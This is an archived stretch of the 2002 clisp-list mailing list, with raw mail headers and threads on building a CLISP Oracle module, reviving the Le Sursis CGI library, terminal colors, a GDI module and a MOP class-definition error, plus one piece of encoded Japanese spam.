hin@localhost) by van-halen.alma.com (8.12.3/8.12.3/Submit) id g62FMobR028428; Tue, 2 Jul 2002 11:22:50 -0400 Message-Id: <200207021522.g62FMobR028428@van-halen.alma.com> From: "John K. Hinsdale" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] Building add-on module Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jul 2 08:32:16 2002 X-Original-Date: Tue, 2 Jul 2002 11:22:50 -0400 I'm trying to build an add-on module (for an Oracle interface) and having some trouble getting it to build. The notes in the generated Makefile say to make a subdir of the src/ directory w/ the same name as the module, and I've done all that, and also created the necessary .lisp interface, etc. All my "C" files and .lisp interface file compile fine in isolation. What I really like to do is be able to just build a single "full" distribution w/ all the other modules (regex, wildcards, OS calls) as well as my Oracle module. The docs (again notes in the Makefile - out of date?) say to create a Makefile (either by hand or generated by autoconf) specific to my module. That's good, as I have compilation things specific to Oracle such as where to get its headers and link libs. However when I run the "makemake" with --with-module=oracle it generates a build that appears to ignore my Makefile and use a general set of compilation flags. I've also noticed when working w/ a toy-addon that the Makefile generated by "clisp-link create-module-set" also seems to get ignored. I'd like to avoid a solution that requires me to distribute Oracle's header files as I will then have compatibility and license issues. What I really want is to be able to say (somewhere, anywhere) where to get those headers and libs, but it is not obvious to me where. Any ideas? One way I can force it work is to edit the generated Makefile by hand, but I would like to avoid that. My ultimate goal is to be able to distribute to interested parties a directory that they can graft right onto their CLISP distribution for a build that would include the Oracle package. --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From samuel.steingold@verizon.net Tue Jul 02 09:25:55 2002 Received: from h008.c001.snv.cp.net ([209.228.32.122] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17PQTQ-0006yP-00 for ; Tue, 02 Jul 2002 09:25:52 -0700 Received: (cpmta 19427 invoked from network); 2 Jul 2002 09:25:44 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.122) with SMTP; 2 Jul 2002 09:25:44 -0700 X-Sent: 2 Jul 2002 16:25:44 GMT To: "John K. Hinsdale" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Building add-on module References: <200207021522.g62FMobR028428@van-halen.alma.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200207021522.g62FMobR028428@van-halen.alma.com> Message-ID: Lines: 54 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jul 2 09:33:44 2002 X-Original-Date: 02 Jul 2002 12:25:39 -0400 > * In message <200207021522.g62FMobR028428@van-halen.alma.com> > * On the subject of "[clisp-list] Building add-on module" > * Sent on Tue, 2 Jul 2002 11:22:50 -0400 > * Honorable "John K. Hinsdale" writes: > > I'm trying to build an add-on module (for an Oracle interface) and > having some trouble getting it to build. > > The notes in the generated Makefile say to make a subdir of the src/ > directory w/ the same name as the module, and I've done all that, and > also created the necessary .lisp interface, etc. All my "C" files and > .lisp interface file compile fine in isolation. I recommend using a separate build directory - do not build in src/! > What I really like to do is be able to just build a single "full" > distribution w/ all the other modules (regex, wildcards, OS calls) as > well as my Oracle module. $ mkdir modules/oracle $ mv .... modules/oracle $ ./configure --with-module=oracle --build build-dir if you want to rebuild, $ cd build-dir $ rm -rf full $ make > The docs (again notes in the Makefile - out of date?) say to create a > Makefile (either by hand or generated by autoconf) specific to my > module. it also recommends 'rm rf full'. > What I really want is to be able to say (somewhere, anywhere) where to > get those headers and libs, but it is not obvious to me where. your best bet is to use autoconf for this. > Any ideas? One way I can force it work is to edit the generated > Makefile by hand, but I would like to avoid that. My ultimate goal is > to be able to distribute to interested parties a directory that they > can graft right onto their CLISP distribution for a build that would > include the Oracle package. note that CLISP is under GPL which means that _IF_ you distribute your code, it _MUST_ be distributed under the GPL. would you like us to distribute your module with CLISP? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Those who can laugh at themselves will never cease to be amused. From hin@van-halen.alma.com Tue Jul 02 11:43:55 2002 Received: from 64-205-243-34.client.dsl.net ([64.205.243.34] helo=van-halen.alma.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17PSd0-000110-00 for ; Tue, 02 Jul 2002 11:43:54 -0700 Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.3/8.12.3) with ESMTP id g62IhpLs000720; Tue, 2 Jul 2002 14:43:51 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.3/8.12.3/Submit) id g62IhpZs000717; Tue, 2 Jul 2002 14:43:51 -0400 Message-Id: <200207021843.g62IhpZs000717@van-halen.alma.com> From: "John K. Hinsdale" To: sds@gnu.org CC: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on 02 Jul 2002 12:25:39 -0400) Subject: Re: [clisp-list] Building add-on module Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jul 2 11:44:58 2002 X-Original-Date: Tue, 2 Jul 2002 14:43:51 -0400 >> I'm trying to build an add-on module (for an Oracle interface) and >> having some trouble getting it to build. > I recommend using a separate build directory - do not build in src/! > $ mkdir modules/oracle > ... OK thanks for the tips. I'll give it a whirl. It's been pointed out I could do something like auto-detection of the Oracle environment that is used in the equivalent module they have in the perl ("DBD"). > note that CLISP is under GPL which means that _IF_ you distribute > your code, it _MUST_ be distributed under the GPL. > > would you like us to distribute your module with CLISP? No problem on all counts. But let me get it built first, and running on a few Unixen :) I have a few potential volunteers to eventually test it on: Linux, Solaris and SGI Irix. thanks; keep you posted. --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From jti@io.com Wed Jul 03 06:30:26 2002 Received: from david.io.com ([199.170.88.28]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17PkDB-0003qD-00 for ; Wed, 03 Jul 2002 06:30:25 -0700 Received: from eris.io.com (IDENT:root@eris.io.com [199.170.88.11]) by david.io.com (8.11.6/8.11.2) with ESMTP id g63DUMe12369; Wed, 3 Jul 2002 08:30:22 -0500 Received: from localhost (jti@localhost) by eris.io.com (8.11.6/8.11.6) with ESMTP id g63DUKq05868; Wed, 3 Jul 2002 08:30:20 -0500 X-Authentication-Warning: eris.io.com: jti owned process doing -bs From: "Jeremiah T. Isaacs" To: clisp-list@lists.sourceforge.net cc: "John K. Hinsdale" In-Reply-To: <200207031233.g63CX7hj000476@van-halen.alma.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Re: Broken code referenced on CLISP home page Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jul 3 06:31:08 2002 X-Original-Date: Wed, 3 Jul 2002 08:30:20 -0500 (CDT) On Wed, 3 Jul 2002, John K. Hinsdale wrote: > [Is clisp-devel the right place for this ? ] i think clisp-devel is for the clisp project itself. > FYI when I tried to use the project "Le Sursis" mentioned as the first > entry under CLISP "Related Projects" at http://clisp.sourceforge.net/ > doesn't work "out of the box" (gets CLISP errors). > > I mention it since this project cites CLISP as its preferred > environment and the one that should definitely work. This project > looks to have been abandoned a couple years ago, but I am trying to > contact its maintainer. The email address on the project was no longer valid when i tried. Have you had any luck finding him? The only things that needed to be changed were the package declaration, in-package needed to be moved after the defpackage, and references to lisp:int-char changed to ext:int-char. I have a working copy of these changes if you would like. > No big deal, except that it's the very first project listed and > newcomers to CLISP might downloaded and get unjustly discouraged when > it doesn't work properly. > > If I can't get to the maintainer to fix it, maybe I can fix it myself > and take it over. It's actuallyvery tiny and was a student exercise. > In any case the link may be doing more harm than good in terms of > demonstrating and promoting CLISP use for CGIs so might wish to take > that link off, or move it further down the list below more active and > compelling project examples. If you cannot find him, take over! I don't have the time to be in control, but if someone was actively maintaining it, I would enjoy contributing to it. - j -- http://www.io.com/~jti Faru cian volon, estu la tuta legx. Amo estas la legxo, amo laux vol. From sales@db.bbmail.ne.jp Wed Jul 03 09:30:20 2002 Received: from 203.141.154.201.user.ca.il24.net ([203.141.154.201] helo=smtp2) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17Pn1H-0003iy-00 for ; Wed, 03 Jul 2002 09:30:19 -0700 Received: from smtp2 [127.0.0.1] by smtp2 (SMTPD32-6.06) id A2E65037E; Wed, 03 Jul 2002 20:39:24 +0900 From: =?iso-2022-jp?B?GyRCRTlBdU1RSUobKEI=?= To: clisp-list@lists.sourceforge.net Reply-To: sales@db.bbmail.ne.jp Message-ID: <742f69eb3eee.4d8b@db.bbmail.ne.jp> X-Mailer: InternetPost for Active Platform 1.0.70.10007 (Standard Edition) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-2022-jp Subject: [clisp-list] =?iso-2022-jp?B?WxskQiEqOS05cCEqJE4kXCRqNHohJjRHSEQbKEI=?= =?iso-2022-jp?B?GyRCISYlKyU/JW0lMCU5JT8lcyVJISY/YiRsS2shREU5QXUbKEI=?= =?iso-2022-jp?B?GyRCTVFJShsoQlNIT1AbJEIlKiE8JVclcyEqGyhCXQ==?= 1626521-1-120 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jul 3 09:31:06 2002 X-Original-Date: Wed, 03 Jul 2002 20:39:24 +0900 $B$*K;$7$$$H$3$m<:NiCW$7$^$9!#(B $B:#8e%a!<%kITMW$JJ}$O!"$*; Thu, 04 Jul 2002 11:11:33 -0700 Received: from corey by neural.dlsemc.com with local (Exim 3.34 #1 (Debian)) id 17QB3K-0003mG-00 for ; Thu, 04 Jul 2002 13:10:02 -0500 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] raw mode for charactor reading Message-ID: <20020704181002.GA14330@neural.dlsemc.com> References: <20020627204932.GB29368@neural.dlsemc.com> <20020628070854.GA4110@neural.dlsemc.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.27i From: corey@neural.dlsemc.com Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jul 4 11:12:05 2002 X-Original-Date: Thu, 4 Jul 2002 13:10:02 -0500 > > Is it possible to read a charactor without waiting for enter to be > > pressed in clisp? > > yes it is. > > > If so how? > > in my previous message I gave you two URLs. > did you read them? No. I thought they were part of your tagline. My bad. I"ve read them now and everythings working great. I've even gotten sound and color working. Kinda cheezy ways, but the work: ;sound (execute "/usr/bin/rplay" "/disks/md0/usr/share/sounds/everybuddy/BuddyArrive.au") ;color (this only works on the linux console) (defconstant BLACK #\0) (defconstant RED #\1) (defconstant GREEN #\2) (defconstant BROWN #\3) (defconstant BLUE #\4) (defconstant PURPLE #\5) (defconstant TURQUOISE #\6) (defconstant GREY #\7) (defconstant WHITE #\8) (defun set-color (color) (princ #\escape) (princ #\[) (princ #\3) (princ color) (princ #\m)) (defun set-background-color (color) (princ #\escape) (princ #\[) (princ #\4) (princ color) (princ #\m)) > > > -- > Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux > > > What garlic is to food, insanity is to art. > > > > ------------------------------------------------------- > This sf.net email is sponsored by:ThinkGeek > Caffeinated soap. No kidding. > http://thinkgeek.com/sf > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list From dan.stanger@ieee.org Thu Jul 04 20:22:05 2002 Received: from mail2.hypermall.com ([216.241.37.118]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17QJfZ-000897-00 for ; Thu, 04 Jul 2002 20:22:05 -0700 Received: from [216.241.42.236] (helo=ieee.org) by mail2.hypermall.com with esmtp (Exim 3.16 #2) id 17QJfW-0002Jl-00; Thu, 04 Jul 2002 21:22:02 -0600 Message-ID: <3D251101.B04D2D6A@ieee.org> From: Dan Stanger Reply-To: dan.stanger@ieee.org X-Mailer: Mozilla 4.79 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: "clisp-list@lists.sourceforge.net" Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] gdi Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jul 4 20:23:03 2002 X-Original-Date: Thu, 04 Jul 2002 21:22:41 -0600 There is a new improved gdi module on my web site www.diac.com/~dxs/gdi.tar.bz2. Also I have garnet loading with a few continuable errors on ms windows. That file is also at www.diac.com/~dxs/src-2002-7-4.tar.bz2 Dan Stanger From hin@van-halen.alma.com Fri Jul 05 07:57:21 2002 Received: from 64-205-243-34.client.dsl.net ([64.205.243.34] helo=van-halen.alma.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17QUWN-0005c5-00 for ; Fri, 05 Jul 2002 07:57:20 -0700 Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.3/8.12.3) with ESMTP id g65EvGEH021855; Fri, 5 Jul 2002 10:57:16 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.3/8.12.3/Submit) id g65EvGhS021852; Fri, 5 Jul 2002 10:57:16 -0400 Message-Id: <200207051457.g65EvGhS021852@van-halen.alma.com> From: "John K. Hinsdale" To: jti@io.com CC: clisp-list@lists.sourceforge.net In-reply-to: (jti@io.com) Subject: Re: [clisp-list] Re: Broken code referenced on CLISP home page Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jul 5 07:58:11 2002 X-Original-Date: Fri, 5 Jul 2002 10:57:16 -0400 > The email address on the project was no longer valid when i tried. > Have you had any luck finding him? following up ... I got a hold of T. Burdick who maintains the "le-sursis" CGI library for Lisp, and asked him to grant me permissions on SourceForge to update patches and keep that project alive and operational. Others have mentioned they have enhancements which I'll merge in once I have access. Cheers, --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From hin@van-halen.alma.com Fri Jul 05 09:51:40 2002 Received: from 64-205-243-34.client.dsl.net ([64.205.243.34] helo=van-halen.alma.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17QWJ1-0003a0-00 for ; Fri, 05 Jul 2002 09:51:39 -0700 Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.3/8.12.3) with ESMTP id g65GpYEH017740; Fri, 5 Jul 2002 12:51:34 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.3/8.12.3/Submit) id g65GpYGj017737; Fri, 5 Jul 2002 12:51:34 -0400 Message-Id: <200207051651.g65GpYGj017737@van-halen.alma.com> From: "John K. Hinsdale" To: sds@gnu.org CC: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on 02 Jul 2002 12:25:39 -0400) Subject: Re: [clisp-list] Building add-on module Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jul 5 09:52:06 2002 X-Original-Date: Fri, 5 Jul 2002 12:51:34 -0400 >> * Sent on Tue, 2 Jul 2002 11:22:50 -0400 >> * Honorable "John K. Hinsdale" writes: >> >> I'm trying to build an add-on module (for an Oracle interface) and >> having some trouble getting it to build. > Date: 02 Jul 2002 12:25:39 -0400 > From: Sam Steingold > I recommend using a separate build directory - do not build in src/! > $ mkdir modules/oracle > $ mv .... modules/oracle > $ ./configure --with-module=oracle --build build-dir >> What I really want is to be able to say (somewhere, anywhere) where to >> get those headers and libs, but it is not obvious to me where. > your best bet is to use autoconf for this. OK, I've set all this up properly, incl. the module dir suitable for eventual distribution and an autoconf-generated Makefile that has everything needed to compile my stuff, yet the CLISP build is _still_ ignoring my Makefile and I have no idea why. I did everything Sam suggested, e.g., w/ autoconf and a separate build dire ("mysrc") and in fact the build _is_ running my "configure" when it sees it. I see my "configure" generates the desired Makefile; but then when it comes time to compile my "C" sources my Makefile is not used -- instead the build uses a gcc command appearing in the parent directory's Makefile. Any ideas? Perhaps my problem may be due to how I've set up the "link.sh" which I am not quite clear on its role. The docs say it is to set some make/environment variables, however I notice that the link.sh in all the other modules contain a "make clisp-module" and I assumed I had to do that as well. But shouldn't it use my module's Makefile? Otherwise what is the point of creating it? Any help would be greatly appreciated. I've got all this code and no Lisp to run it(!). You can peek at my build area at: http://hinsdale.net/clisp-2.28/ The Oracle module is in http://hinsdale.net/clisp-2.28/modules/oracle/ and the build command I'm using is: http://hinsdale.net/clisp-2.28/doconf with output: http://hinsdale.net/clisp-2.28/doconf.log My next step is to wade into the source for the build environment in detail, but before I do that I was hoping someone would eyeball it for some obvious problem. --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From lin8080@freenet.de Fri Jul 05 13:24:59 2002 Received: from smtp.compuserve.de ([62.52.27.101] helo=desws094.mediaways.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17QZdR-0005K7-00 for ; Fri, 05 Jul 2002 13:24:57 -0700 Received: (qmail 17990 invoked by uid 4218); 5 Jul 2002 20:24:53 -0000 Received: from sins-d9307e5b.pool.mediaways.net (HELO freenet.de) (217.48.126.91) by relay5b with SMTP; 5 Jul 2002 20:24:53 -0000 Message-ID: <3D2600BB.1CDBE9D0@freenet.de> From: lin8080 X-Mailer: Mozilla 4.7 [de] (Win98; I) X-Accept-Language: de MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Program stack overflow. RESET: how to increase the stack size onwindows? References: <3CFF6EB3.3060700@cern.ch> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jul 5 13:25:14 2002 X-Original-Date: Fri, 05 Jul 2002 22:25:31 +0200 Christian Schuhegger schrieb: > hello, > i just ran into a problem: > *** Program stack overflow. RESET > i found the following mail (see below) on the clisp-list. i am working > on windows and i would like to increase the stack size of the lisp.exe > executable. now i wonder how to do this? > > can anybody give me a hint? Hallo Christian Now I found an entry in the system.ini which can solve your problem. (look in the startup-logs whether system.ini gets read) - In SYSTEM.INI in section [386Enh] add this line: MinSPs=4 Windows reserved some stack-sides for 32-driver and applications. One stack-side has 4k size and with the number 4 you set 4 stack-sides, so the application can order on demand more stack-sides. I donot test this, so use it on your own risk. This is what I found windows can do, not the lisp.exe There is another panel where you can change the dos-box-properties: - Click on the properties in the menue bar, this should open and show the following "cards": Program - Font - Memory - Screen - Misc. Now choose Memory and edit as you wish or need. - You can always go to the Screen-card and change the in the Usage-field (on the top) the "Initial size" (there is an arrow-click-box on the right side) to 50 lines. This makes on my PC a scroll-bar (50 lines) to the dos-box and 50 lines :) (very usefull, but when you find a way to edit this so that I can see all lines, this will make me happy. I guess I have to search the regedit.exe) - On the misc-card you can choose Quick Edit in the mouse field. This allows to copy contents out of the dos-box window. Also you can edit some hot-keys there. stefan From hin@van-halen.alma.com Fri Jul 05 14:19:38 2002 Received: from 64-205-243-34.client.dsl.net ([64.205.243.34] helo=van-halen.alma.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17QaUK-0003Rf-00 for ; Fri, 05 Jul 2002 14:19:36 -0700 Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.3/8.12.3) with ESMTP id g65LJYEH008980; Fri, 5 Jul 2002 17:19:34 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.3/8.12.3/Submit) id g65LJX8g008977; Fri, 5 Jul 2002 17:19:34 -0400 Message-Id: <200207052119.g65LJX8g008977@van-halen.alma.com> From: "John K. Hinsdale" To: sds@gnu.org CC: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on 02 Jul 2002 12:25:39 -0400) Subject: [clisp-list] Re: Building add-on module - * SOLVED * Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jul 5 14:20:03 2002 X-Original-Date: Fri, 5 Jul 2002 17:19:34 -0400 > OK, I've set all this up properly, incl. the module dir suitable for > eventual distribution and an autoconf-generated Makefile that has > everything needed to compile my stuff, yet the CLISP build is _still_ > ignoring my Makefile and I have no idea why. Pls. disregard my previous post about the "make" problems; I've figured it out. [turns out my Makefile was not really being ignored, but a def. inside it _was_ (I was trying to glom on the Oracle header dirs. using $INCLUDES and that was apparently getting clobbered elsewhere in the build environment). So I've at last got a functional CLISP and can now read and write to Oracle databases. (perhaps the first to do that from CLISP?) I'm going to hone the module it a bit more, create some documentation and then put it out for beta on other platforms. Thanks to all who have helped me thus far. I make nearly my entire living mucking with Oracle databases and it will be interesting to try doing it it from Lisp instead of perl. --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From ampy@ich.dvo.ru Fri Jul 05 17:07:49 2002 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17Qd6v-0007Tj-00 for ; Fri, 05 Jul 2002 17:07:38 -0700 Received: from ppp122-AS-2.vtc.ru (ppp122-AS-2.vtc.ru [212.16.216.122]) by vtc.ru (8.12.4/8.12.4) with ESMTP id g6606gFc025071; Sat, 6 Jul 2002 11:06:47 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <957145915.20020706110845@ich.dvo.ru> To: Dan Stanger CC: "clisp-list@lists.sourceforge.net" Subject: Re: [clisp-list] gdi In-reply-To: <3D251101.B04D2D6A@ieee.org> References: <3D251101.B04D2D6A@ieee.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jul 5 17:08:13 2002 X-Original-Date: Sat, 6 Jul 2002 11:08:45 +1000 Hello Dan, Friday, July 05, 2002, 1:22:41 PM, you wrote: Dan> There is a new improved gdi module on my web site Dan> www.diac.com/~dxs/gdi.tar.bz2. Dan> Also I have garnet loading with a few continuable errors on ms windows. Dan> That file is also at www.diac.com/~dxs/src-2002-7-4.tar.bz2 It's great - a Lisp brain finds a face for communicating ! Unfortunately I have too much reading rigth now, but I hope to finish with it some day and investigate your module ! -- Best regards, Arseny From Carlos.Agon@ircam.fr Mon Jul 08 06:29:49 2002 Received: from exil.ircam.fr ([129.102.1.2]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17RYaK-0002hA-00 for ; Mon, 08 Jul 2002 06:29:49 -0700 Received: from ircam.fr (mac-repmus-stage2.ircam.fr [129.102.64.14]) by exil.ircam.fr (Postfix) with ESMTP id 0573912F15 for ; Mon, 8 Jul 2002 15:29:46 +0200 (CEST) Message-ID: <3D299279.B03BA450@ircam.fr> From: Augusto Reply-To: Carlos.Agon@ircam.fr X-Mailer: Mozilla 4.5 [fr] (Macintosh; U; PPC) X-Accept-Language: fr MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353" Content-Transfer-Encoding: 7bit Subject: [clisp-list] MOP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jul 8 06:30:12 2002 X-Original-Date: Mon, 08 Jul 2002 15:24:09 +0200 Hi, I start to move my code (www.ircam.fr/openmusic) to clisp, but I have a little problem : I try to define a new class by (defclass omclass (standard-class) ()) but i get the error *** - DEFCLASS OMCLASS : La classe sup?eure # n'appartient pas ?a classe STANDARD-CLASS. Can somebody help me ? I use clisp-2.28 on MacOs X thanks, Carlos Agon From jjorgens@2gn.com Mon Jul 08 07:23:14 2002 Received: from [156.27.16.10] (helo=2gn.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17RZQ2-00043O-00 for ; Mon, 08 Jul 2002 07:23:14 -0700 Received: from localhost (jjorgens@localhost) by 2gn.com (8.9.3/8.9.3) with ESMTP id KAA19882; Mon, 8 Jul 2002 10:48:33 -0400 From: John Jorgensen To: Augusto cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] MOP In-Reply-To: <3D299279.B03BA450@ircam.fr> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jul 8 07:24:02 2002 X-Original-Date: Mon, 8 Jul 2002 10:48:33 -0400 (EDT) I'm not a lisp expert, but I thought with ANSI LISP it would be; (defclass () ()) with an assumed standard class. J* ----------------------- > Hi, > > I start to move my code (www.ircam.fr/openmusic) to clisp, but I have a > little problem : > > I try to define a new class by > > (defclass omclass (standard-class) ()) > > but i get the error > > *** - DEFCLASS OMCLASS : La classe sup?eure # STANDARD-CLASS> n'appartient pas ?a classe STANDARD-CLASS. > > > Can somebody help me ? > > I use clisp-2.28 on MacOs X > > thanks, > > Carlos Agon > > > > > > ------------------------------------------------------- > This sf.net email is sponsored by:ThinkGeek > Oh, it's good to be a geek. > http://thinkgeek.com/sf > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list > From Carlos.Agon@ircam.fr Mon Jul 08 07:31:58 2002 Received: from exil.ircam.fr ([129.102.1.2]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17RZYU-0006Sk-00 for ; Mon, 08 Jul 2002 07:31:58 -0700 Received: from ircam.fr (mac-repmus-stage2.ircam.fr [129.102.64.14]) by exil.ircam.fr (Postfix) with ESMTP id EF3F812F15; Mon, 8 Jul 2002 16:31:54 +0200 (CEST) Message-ID: <3D29A109.C79F3CB5@ircam.fr> From: Augusto Reply-To: Carlos.Agon@ircam.fr X-Mailer: Mozilla 